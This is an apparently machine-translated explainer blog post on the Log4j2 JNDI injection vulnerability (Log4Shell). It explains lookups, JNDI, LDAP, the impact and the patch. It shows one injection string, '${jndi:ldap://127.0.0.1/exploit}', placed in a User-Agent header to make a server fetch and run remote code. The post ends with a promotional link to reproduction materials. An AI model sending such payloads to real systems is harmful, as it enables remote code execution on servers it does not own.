Nuclear bomb level loopholes! I took all the log4j panties off!

Hi everyone, this is Jay Chou.

I believe everyone should have been swiped by such a news in the past two days:

What is going on with

nuclear bomb class really that powerful?

exploit this vulnerability?

I have read a lot of technical analysis articles, they are all too professional. Many non-Java technology stacks or people who do not engage in security can only read a little understanding, which leads to everyone can only watch the excitement, on the cause, principle, use method, and impact of this vulnerability. The face is not well understood.

In this article, I try to make all technology-related friends understand : What is this vulnerability destined to be included in the annals of cybersecurity history!

log4j2

No matter what programming language, regardless of the back-end or front-end client, to play log are not unfamiliar.

Through the log, you can help us understand the operation of the program, and troubleshoot problems that occur during the operation of the program.

In the Java technology stack, the most commonly used log output frameworks are log4j2 and logback .

The protagonist of today’s discussion is log4j2 .

We often output some variables in the log, such as:

logger.info("client ip: {}", clientIp)

Now consider a question:

If you want to output a Java object through the log, but the object is not in the program, but in other places, such as in a file, or even somewhere on the network, what should we do?

The power of log4j2 is that in addition to outputting variables in the program, it also provides a thing called Lookup , which can be used to output more content:

Lookup, as the name suggests, means to find and search. In log4j2, it is allowed to find the content to be output in a certain way when outputting the log.

Lookup is equivalent to an interface. Where to find and how to find, you need to write specific modules to achieve it, similar to the meaning of polymorphism in object-oriented programming.

Fortunately, log4j2 has helped us implement all common search methods:

The specific meaning of each is not detailed here, it is not the focus of this article.

JNDI

Mainly look at the thing called JNDI:

JNDI is Java Naming and Directory Interface (JAVA Naming and Directory Interface), which provides a directory system and associates service names with objects, so that developers can use names to access objects during the development process.

can not read? If you don't understand it!

Simple and crude understanding: There is a data source similar to a dictionary. You can get the object by passing a name through the JNDI interface.

Different data sources must have different search methods, so JNDI is only an upper-layer package, and many specific data sources are also supported under it.

LDAP

Continue to focus, let's just look at this thing LDAP

LDAP is Lightweight Directory Access Protocol (Lightweight Directory Access Protocol). Directory is a professional distributed database optimized for query, browsing and search. It organizes data in a tree structure, just like a file directory in Linux/Unix systems. The directory database is different from the relational database. It has excellent read performance but poor write performance, and does not have complex functions such as transaction processing and rollback. It is not suitable for storing frequently modified data. So the directory is naturally used for querying, just like its name.

can not read? If you don't understand it!

This thing is used more in the field of unified identity authentication, but today is not the focus of this article. You only need a simple and crude understanding: there is a data source similar to a dictionary. You can pass a name through the LDAP protocol to get the data.

Vulnerability principle

Well, with the above foundation, it is easy to understand this loophole.

If in a certain Java program, the type of browser is recorded in the log:

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);

There is a rule in network security: Do not trust any information entered by the user .

Among them, User-Agent belongs to the information inputted by the outside world, not defined in the own program. As long as it is input from the outside, there may be malicious content.

If someone sends an HTTP request, his User-Agent is such a string:

${jndi:ldap://127.0.0.1/exploit}

Next, log4j2 will parse the string to be output on this line.

First, it found ${} in the string, knowing that the contents of the package must be processed separately.

Further analysis, it is found that it is JNDI extension content.

After further analysis, it is found that it is the LDAP protocol, the LDAP server is at 127.0.0.1, and the key to be searched is an exploit.

Finally, the module responsible for LDAP is called to request the corresponding data.

If you just request ordinary data, that's fine, but the problem is that you can still request Java objects!

Java objects generally only exist in memory, but they can also be stored in a file through serialization, or transmitted over the network.

It's okay if it is a self-defined serialization method, but the more dangerous thing is that JNDI also supports a method called Naming References, which can download a class file remotely, and then load it to build the object after downloading it.

PS: Sometimes Java objects are relatively large, and it is inconvenient to store them directly through LDAP. It means a second jump. Instead of returning the object content directly, it will tell you which class the object is in and let you go there. Find.

Note that here is the core issue: JNDI can download class files remotely to build objects! ! ! .

Where is the danger?

If the remote download URL points to a hacker's server, and the downloaded class file contains malicious code, isn't it over?

Haven't understood yet? It doesn't matter, I drew a picture:

This is the famous JNDI injection attack!

In fact, in addition to LDAP, there is also the RMI method. Those who are interested can learn about it.

JNDI injection

In fact, this attack method did not appear this time. As early as the 2016 blackhat conference, some bigwigs disclosed this attack method.

Looking back, the core of the problem lies in:

Java allows remote downloading of a class file through JNDI to load objects. If the remote address is its own server, it is good to say that if it is an address that can be specified by the outside world, then there will be a big problem!

In the previous example, 127.0.0.1 has been used instead of the LDAP server address. What if the User-Agent string entered is not this address, but a malicious server address?

Impact scale

The main reason why the impact of the vulnerability is so large this time is that the use of log4j2 is too wide.

On the one hand, the Java technology stack is now widely used in the fields of Web, back-end development, big data, etc. In addition to a large number of companies that use Java as the main technology stack, such as Alibaba, JD.com, and Meituan, there are many small and medium-sized enterprises to choose from. Java.

On the other hand, there are a lot of middleware such as kafka, elasticsearch, and flink that are developed in Java language.

In the above development process, log4j2 was used extensively as log output. As long as one is inattentive and the output log has external input mixed in, it will directly be the remote code execution RCE, and it will be a disaster!

repair

The new version of log4j2 has fixed this problem, so please upgrade quickly.

The following is the description of JNDI lookup in log4j2 official website:

I found the cached snapshot before December 10th through the search engine. Let's compare it. Compared with the cache below, what are the more things in the top version? The answer is: the repaired log4j2 adds a lot of restrictions in the JNDI lookup:

The answer is: the repaired log4j2 adds a lot of restrictions in the JNDI lookup:

By default, the second jump (named reference) method of obtaining objects is no longer supported
Only the classes specified in the log4j2.allowedLdapClasses list can be obtained.
Only the remote address is a local address or the address specified in the log4j2.allowedLdapHosts list can be obtained

The above restrictions completely block the way of remotely loading classes by printing logs.

Finally, all the Java buddies in front of the mobile phone, is log4j2 useful in the programs you wrote? Is there an output somewhere that has external parameters mixed in?

Check it quickly!
In addition, students who want to reproduce this vulnerability by themselves can get a copy of vulnerability reproduction, repair materials, and code tool information

Click on the portal below to receive

[Vulnerability reproduction, repair materials, code tools]

Do you understand this loophole? If you think it is well written, . By the way, I would like to give me a compliment. Thank you for reading .